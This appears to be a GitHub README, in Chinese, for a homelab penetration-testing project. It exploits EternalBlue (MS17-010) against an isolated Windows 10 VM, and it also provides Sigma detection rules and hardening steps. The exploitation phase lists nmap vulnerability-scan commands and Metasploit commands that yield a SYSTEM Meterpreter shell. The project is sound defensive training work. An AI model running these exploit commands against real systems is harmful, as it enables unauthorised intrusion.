zachwenger/homelab-pentest-v1
GitHub: zachwenger/homelab-pentest-v1
在隔离实验室中完整复现 EternalBlue 渗透 kill chain,并配套提供蓝队 Sigma 检测规则与加固补救手册的攻防教学项目。
Stars: 0 | Forks: 0
# `● 家庭实验室渗透测试 — v1`
**在一个隔离的 Kali → Windows 实验室中进行全 kill-chain 渗透测试,端到端利用 EternalBlue (MS17-010)。包含了蓝队检测规则以及 SOC 实际会部署的补救措施。**
作者:Zach Wenger · [github.com/zachwenger](https://github.com/zachwenger)
## 场景
在隔离网络上构建一个真实的双主机实验室——攻击机和目标机——然后运行从侦察到漏洞利用的真实渗透测试。重点不在于获取 Windows 的 shell,而是端到端地走通**完整的 PTES kill chain**,将每个阶段映射到 MITRE ATT&CK,并为防御者要部署的每个阶段编写检测逻辑。
EternalBlue 之所以作为案例研究,是因为它在 2026 年仍然奏效——未打补丁的 SMBv1 主机无处不在(遗留的 ICS、从未打补丁的中端市场企业),并且它仍然是 IR 报告中被引用最多的初始访问漏洞利用。

## 实验室架构
| 主机 | 操作系统 | 角色 | IP | 网络 |
|---|---|---|---|---|
| Attacker | Kali Linux 2024.x | 侦察 + 漏洞利用 | dynamic | VirtualBox host-only |
| Target | Windows 10 (未打补丁,启用 SMBv1) | 受害者 | dynamic | VirtualBox host-only |
两台主机均位于 host-only 网络上——与 WAN 完全隔离。两台虚拟机均无互联网流出。每个阶段之前都拍摄了快照,以便我能够回滚并重新运行。


## 方法论 (PTES + MITRE ATT&CK)
| 阶段 | 我做了什么 | MITRE 战术 | 技术 |
|---|---|---|---|
| 1. 侦察 | Nmap 主机发现 + 端口扫描 | Reconnaissance | T1595 Active Scanning |
| 2. 枚举 | 服务检测 + 默认脚本扫描 + SMB enum | Discovery | T1046 Network Service Discovery |
| 3. 漏洞扫描 | `smb-vuln-ms17-010` NSE 脚本 | Discovery | T1518.001 Software Discovery: Security Software |
| 4. 流量分析 | Wireshark 捕获漏洞利用前/中/后的流量 | (防御者演练) | — |
| 5. 漏洞利用 | Metasploit EternalBlue 模块 | Initial Access | T1190 Exploit Public-Facing App (实验室等效环境) |
| 6. 后渗透 | 确认 SYSTEM shell,在此保持克制——未进行横向移动 | Privilege Escalation | T1068 Exploitation for Privilege Escalation |
| 7. 文档记录 | 本 README + Sigma 规则 + 补救措施列表 | (防御者演练) | — |
## 阶段 1 — 侦察
从版本检测扫描开始,以识别攻击面。
```
nmap -sV 192.168.x.x
```


快速解读:SMB (445)、RPC (135)、NetBIOS (139)。都是教科书级别的 Windows 端口——而且 445 端口的存在及其表明较旧补丁级别的版本信息,使得 SMBv1 成为显而易见的调查目标。
## 阶段 2 — 枚举
使用默认脚本进行更深入的扫描,以提取服务 banner + 初步的漏洞提示。
```
nmap -sV -sC 192.168.x.x
```

接着运行 SMB 专用的 NSE 脚本:
```
nmap --script smb-os-discovery,smb-protocols,smb-security-mode 192.168.x.x
```

确认已启用 SMBv1——这是 EternalBlue 的前提条件。
## 阶段 3 — 漏洞识别
```
nmap --script smb-vuln-ms17-010 192.168.x.x
```
该脚本返回了针对 MS17-010 的 **VULNERABLE**。这就是 CVE-2017-0144 漏洞——与 WannaCry、NotPetya 和 Bad Rabbit 在 2017 年使用的漏洞相同,估计在全球造成了**超过 100 亿美元的损失**。Microsoft 于 2017 年 3 月(在 WannaCry 爆发前两个月)发布了补丁。未打补丁的系统依然随处可见。
## 阶段 4 — 流量分析 (Wireshark)
在发起漏洞利用之前,我启动了一个针对目标 IP 进行过滤的 Wireshark 捕获。观察实际的 SMB 协议协商过程,使得抽象的“构造数据包”描述变得具体。



使用的过滤器:
```
ip.addr == 192.168.x.x and tcp.port == 445
```
实时观察 SMB1 NEGOTIATE → SESSION SETUP → TRANS2 漏洞利用数据包落地,是让一切豁然开朗的时刻。这正是 SOC 分析师在真实 IR 事件中,用来与 EternalBlue YARA/Sigma 规则进行关联的实际字节序列。
## 阶段 5 — 漏洞利用
针对目标配置的 Metasploit EternalBlue 模块:
```
msfconsole
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.x.x
set LHOST 192.168.x.x
run
```






成功获取了以 `NT AUTHORITY\SYSTEM` 权限运行的 Meterpreter 会话——这是 Windows 主机上最高的本地权限。未使用任何凭据,无需任何身份验证,一次漏洞利用直达 SYSTEM。这正是 MS17-010 被评定为 **CVSS 9.8 Critical** 的原因。
我刻意在此止步。后渗透(横向移动、使用 Mimikatz 转储凭据、权限维持)是顺理成章的下一步,但那是 v2 的内容,并且会给宿主系统带来风险,却不会为 v1 增加学习价值。
## 发现
| # | 发现 | CVE | CVSS | MITRE | 严重性 |
|---|---|---|---|---|---|
| 1 | MS17-010 EternalBlue 可被利用 | CVE-2017-0144 | 9.8 | T1190 | **Critical** |
| 2 | 启用了 SMBv1 (#1 及许多其他漏洞的前提条件) | — | 7.5 | T1210 | High |
| 3 | 未强制执行 SMB 签名 | — | 5.5 | T1557.001 LLMNR/NBT-NS Poisoning enabler | Medium |
| 4 | 工作站开放了过多端口 | — | — | T1046 | Low |
| 5 | LAN 上没有主机防火墙入站规则 | — | — | — | Low |
## 检测规则(蓝队要点)
运行此攻击的核心目的是了解它在**防御者日志中的样子**。这些 Sigma 规则可检测每个阶段。
### detections/sigma/smb-vuln-ms17-010-scan.yml
```
title: Nmap SMB-Vuln NSE Script Probe (MS17-010 discovery)
id: 2d1b8e4f-7c3a-4d51-9b6e-8a2f3c7d9e1a
description: >
Detects the SMB protocol fingerprint generated by Nmap's smb-vuln-ms17-010
NSE script — pre-exploit reconnaissance for EternalBlue. Catching this
early is the difference between detecting an exploit attempt vs an
exploit success.
author: Zach Wenger
date: 2026/05/12
references:
- https://attack.mitre.org/techniques/T1518/001/
- https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
logsource:
product: windows
service: security
detection:
selection:
EventID: 5145
RelativeTargetName|contains:
- 'IPC$'
AccessMask: '0x12019F'
filter_known_admins:
SubjectUserName|endswith: '$'
condition: selection and not filter_known_admins
falsepositives:
- Legitimate Windows admin tooling against IPC$
level: medium
tags:
- attack.discovery
- attack.t1046
- attack.t1518.001
```
### detections/sigma/eternalblue-exploit-attempt.yml
```
title: EternalBlue Exploit Attempt (MS17-010 TRANS2 secondary)
id: c5e3a9b1-4f8d-4e72-a193-6b2c8e5d1a7f
description: >
Detects the SMBv1 TRANS2 SECONDARY pattern characteristic of EternalBlue
exploitation. Multiple TRANS2 secondaries in rapid sequence against the
same socket from a non-domain host is the exploit fingerprint.
author: Zach Wenger
date: 2026/05/12
references:
- https://attack.mitre.org/techniques/T1190/
- https://www.cve.org/CVERecord?id=CVE-2017-0144
logsource:
category: network_connection
product: zeek
detection:
selection:
service: smb
smb_version: 1
smb_command: 'TRANS2_SECONDARY'
threshold:
count: '>5 in 10s'
by:
- src_ip
- dst_ip
condition: selection
falsepositives:
- Buggy legacy SMBv1 client implementations (rare — should not exist in 2026)
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.lateral_movement
- attack.t1210
```
### detections/sigma/smbv1-enabled-host.yml
```
title: Host With SMBv1 Enabled (Audit / Hygiene)
id: 8d4f6a1c-9e2b-4d3f-b7a1-5c8e1d4f9b2a
description: >
Audit-class rule. Flags any Windows host with SMBv1 still enabled.
Not an attack signature — a hygiene checkpoint. Every SMBv1-enabled
host on the LAN is one EternalBlue chain from full compromise.
author: Zach Wenger
date: 2026/05/12
logsource:
product: windows
service: powershell
detection:
selection:
EventID: 4104
ScriptBlockText|contains: 'Get-SmbServerConfiguration'
result_check:
ScriptBlockText|contains: 'EnableSMB1Protocol = True'
condition: selection and result_check
level: high
tags:
- attack.persistence
- attack.t1210
```
## 补救措施 — 如果这是真实环境我会推行的方案
1. **应用 MS17-010 补丁** (KB4013389 系列) — 于 2017 年 3 月发布。在 2026 年没有任何借口不打补丁。
2. **完全禁用 SMBv1** — `Set-SmbServerConfiguration -EnableSMB1Protocol $false`。通过 GPO 在整个域中推送。
3. **启用 SMB 签名** — `RequireSecuritySignature` 和 `EnableSecuritySignature` 均需启用。阻止下游的 NTLM relay 攻击。
4. **主机防火墙** — 阻止来自显式管理子网以外的入站 445 端口连接。
5. **具有 EternalBlue 特征码的 EDR** — Defender for Endpoint、CrowdStrike、S1 — 都具备此功能。确认规则已启用并调整为发出警报,而不仅仅是记录日志。
6. **定期进行内部漏洞扫描** — Nessus / OpenVAS / Defender Vuln Mgmt 至少每月运行一次。
7. **网络分段** — 工作站 VLAN 无法通过 445 端口与服务器 VLAN 通信。
8. **禁用 LLMNR + NBT-NS** — 关闭由 SMBv1 + 无签名所导致的 responder/relay 攻击向量。
## 使用的工具
| | |
|---|---|
| 攻击者 OS | Kali Linux 2024.x |
| 目标 OS | Windows 10 (未打补丁) |
| 侦察 / 枚举 | Nmap 及 NSE 脚本 |
| 漏洞利用 | Metasploit Framework |
| 流量分析 | Wireshark |
| 虚拟化 | VirtualBox 7.x (host-only 网络) |
| 图表绘制 | draw.io |
## 我学到了什么
EternalBlue 的年代久远是最令人震撼的。该补丁自 **2017 年 3 月起**就已可用——然而勒索软件团伙在 2026 年仍在使用它,因为未打补丁的 SMBv1 主机并没有消失。WannaCry 是使其出名的事件,但在补丁大规模部署之前,该漏洞就已经存在(于 2017 年 4 月被 Shadow Brokers 从 NSA 泄露)。披露与修补之间的空窗期是威胁环境中永久存在的一部分。
Wireshark 是最令人大开眼界的工具。阅读“SMB TRANS2 数据包触发缓冲区溢出”是一回事。而在捕获过滤器中看着真实的 TRANS2 SECONDARY 数据包不断堆积,然后观察会话提权至 SYSTEM,则是一种完全不同的理解。这正是我在坐上 SOC 岗位之前,想要在肌肉记忆中扎根的、那种具有真实冲击力的体验。
这是 **v1**。v2 会更加深入:
- 完整的 Active Directory 实验室 (DC + 2 个工作站)
- Kerberoasting + AS-REP roasting
- Mimikatz + LSASS 转储分析
- 用于检测的 Sysmon + Splunk (与我的 `splunk-ad-lab` 项目重叠)
- 后渗透横向移动 + IR 风格的时间线重建
## 文件结构
```
homelab-pentest-v1/
├── README.md — this file
├── screenshots/ — recon, scan, exploit, Wireshark evidence
└── detections/sigma/ — defender-side rules for each phase
├── smb-vuln-ms17-010-scan.yml
├── eternalblue-exploit-attempt.yml
└── smbv1-enabled-host.yml
```
*两台机器都是我自己的。该实验室运行在隔离的 VirtualBox host-only 网络上,没有互联网流出。没有生产系统,没有第三方系统,没有真实世界目标。*
标签:CTI, EternalBlue, XXE攻击, 安全实验靶场, 插件系统